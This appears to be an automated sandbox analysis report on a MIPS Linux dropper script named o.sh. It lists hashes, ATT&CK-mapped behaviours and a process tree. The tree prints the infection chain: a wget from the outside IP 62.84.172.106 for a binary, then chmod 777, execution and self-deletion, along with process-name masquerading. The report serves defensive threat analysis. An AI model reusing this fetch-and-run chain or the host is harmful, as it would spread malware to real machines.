37bfd5cf49ff0024c1f3e6b85166ddcef77b629c6bda05283d79a35052e2b0fc

Analysis

max time kernel
149s
max time network
152s
platform
debian-9_mips
resource
debian9-mipsbe-20260513-en
resource tags

arch:mipsimage:debian9-mipsbe-20260513-enkernel:4.9.0-13-4kc-maltalocale:en-usos:debian-9-mipssystem
submitted
12/08/2026, 18:16

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
o.sh
Size 4KB
Sample260812-wwqeaascmg
SHA256 37bfd5cf49ff0024c1f3e6b85166ddcef77b629c6bda05283d79a35052e2b0fc
MD5 a55e33eb6ab489431ae95ec26b64f3f8
SHA1 9884b7f0b573e2e8a0d84bd89ab50dd71feb35bd
SHA512 ec9cf25f2a3b5276be45d7dfe272bc3488fb8453dd64eb0a05f8b5e8ef7d8203d79d6f5b1f071c86135acf9949950447c740642c845446389122483097272f5e
SSDEEP 96:BNFbsjjmb3xyrdc+ZNzp3oOUZ5dq8f/R4RZ0SrPWUXVuqPwat:kcnIukWUr
TLSH
T102B1F38A13921C703DE299673265878C3187B0F756ED6F20F9CCF9A64BACE14E421367
MD5 SHA1 SHA512 SSDEEP TLSH

Score

7^/10

antivm defense_evasion discovery

Malware Config

Signatures

File and Directory Permissions Modification 1 TTPs 1 IoCs

Adversaries may modify file or directory permissions to evade defenses.

defense_evasion

Linux and Mac File and Directory Permissions Modification

T1222.002

pid	Process
750	chmod

Executes dropped EXE 1 IoCs

ioc	pid	Process
/tmp/sys64.mips	751	o.sh

Unexpected DNS network traffic destination 8 IoCs

Network traffic to other servers than the configured DNS servers was detected on the DNS port.

description	ioc
Destination IP	223.5.5.5
Destination IP	223.5.5.5
Destination IP	223.5.5.5
Destination IP	223.5.5.5
Destination IP	223.5.5.5
Destination IP	223.5.5.5
Destination IP	223.5.5.5
Destination IP	223.5.5.5

Reads network interface configuration 2 TTPs 2 IoCs

Fetches information about one or more active network interfaces.

discovery

System Network Configuration Discovery

T1016

System Network Connections Discovery

T1049

description	ioc	Process
File opened for reading	/sys/class/net/enp0s19/speed	sys64.mips
File opened for reading	/sys/class/net/enp0s19/type	sys64.mips

Changes its process name 2 IoCs

description	ioc	pid	Process
Changes the process name, possibly in an attempt to hide itself	ksoftirqd/0	752	sys64.mips
Changes the process name, possibly in an attempt to hide itself	ksoftirqd/0	752	sys64.mips

Checks CPU configuration 1 TTPs 1 IoCs

Checks CPU information which indicate if the system is a virtual machine.

antivm

System Checks

T1497.001

description	ioc	Process
File opened for reading	/proc/cpuinfo	sys64.mips

Enumerates kernel/hardware configuration 1 TTPs 1 IoCs

Reads contents of /sys virtual filesystem to enumerate system information.

discovery

System Information Discovery

T1082

description	ioc	Process
File opened for reading	/sys/class/net	sys64.mips

Reads runtime system information 9 IoCs

Reads data from /proc virtual filesystem.

discovery

description	ioc	Process
File opened for reading	/proc/20	sys64.mips
File opened for reading	/proc/21	sys64.mips
File opened for reading	/proc/24	sys64.mips
File opened for reading	/proc/mounts	sys64.mips
File opened for reading	/proc/meminfo	sys64.mips
File opened for reading	/proc/22	sys64.mips
File opened for reading	/proc/23	sys64.mips
File opened for reading	/proc/25	sys64.mips
File opened for reading	/proc/3/comm	sys64.mips

System Network Configuration Discovery 1 TTPs 4 IoCs

Adversaries may gather information about the network configuration of a system.

discovery

System Network Configuration Discovery

T1016

pid	Process
751	sys64.mips
753	rm
732	rm
737	wget

Writes file to tmp directory 1 IoCs

Malware often drops required files in the /tmp directory.

description	ioc	Process
File opened for modification	/tmp/sys64.mips	wget

/tmp/o.sh
/tmp/o.sh
1⤵
- Executes dropped EXE
PID:725
- /bin/uname
  uname -s
  2⤵
  PID:727
- /bin/uname
  uname -m
  2⤵
  PID:729
- /bin/rm
  rm -rf sys64.mips
  2⤵
  - System Network Configuration Discovery
  PID:732
- /usr/bin/wget
  wget http://62.84.172.106/sys64.mips
  2⤵
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:737
- /bin/chmod
  chmod 777 sys64.mips
  2⤵
  - File and Directory Permissions Modification
  PID:750
- /tmp/sys64.mips
  ./sys64.mips .mips
  2⤵
  - Reads network interface configuration
  - Changes its process name
  - Checks CPU configuration
  - Enumerates kernel/hardware configuration
  - Reads runtime system information
  - System Network Configuration Discovery
  PID:751
- /bin/rm
  rm -rf sys64.mips
  2⤵
  - System Network Configuration Discovery
  PID:753
- /bin/rm
  rm -f /tmp/o.sh
  2⤵
  PID:756

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

File and Directory Permissions Modification

T1222

Linux and Mac File and Directory Permissions Modification

T1222.002

Virtualization/Sandbox Evasion

T1497

System Checks

T1497.001

Credential Access

Discovery

System Information Discovery

T1082

System Network Configuration Discovery

T1016

System Network Connections Discovery

T1049

Virtualization/Sandbox Evasion

T1497

System Checks

T1497.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

sys64.mips

Path /tmp/sys64.mips
Size 578KB
SHA256 f20f3513737175838e31b0b8008201a1954fed7fa8e52aa663b36a510cd86a4f
MD5 eb37ff96fad0f721f4cc0b40a8bc02d1
SHA1 8372e60f7a85db01c66a60158d660d816406b5db
SHA512 79c837a45bcbcb5761106fbb2d02e761dbfb52a93a7002dcab134d43ddf0f0dd3fa9b0a4ad951f48e44ddbae4d64db70e789d4c5323e467ad576f03e35b1a4ea
SSDEEP 6144:Sidg6k7TrQss4n4JsO9/cofuzDcIjQIlpuzvjkKMRA3pm5xJg85XlhQ6wRMzAxLn:SidvkXr57ouuzMb6UXbQRhgV/y
TLSH
T1B5C4B60E6D228F7DF67483358BF74A30D26E63C613E2C685D1ACD1151E6428EA91FB6C
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Enterprise v16

Replay Monitor

Loading Replay Monitor...

Downloads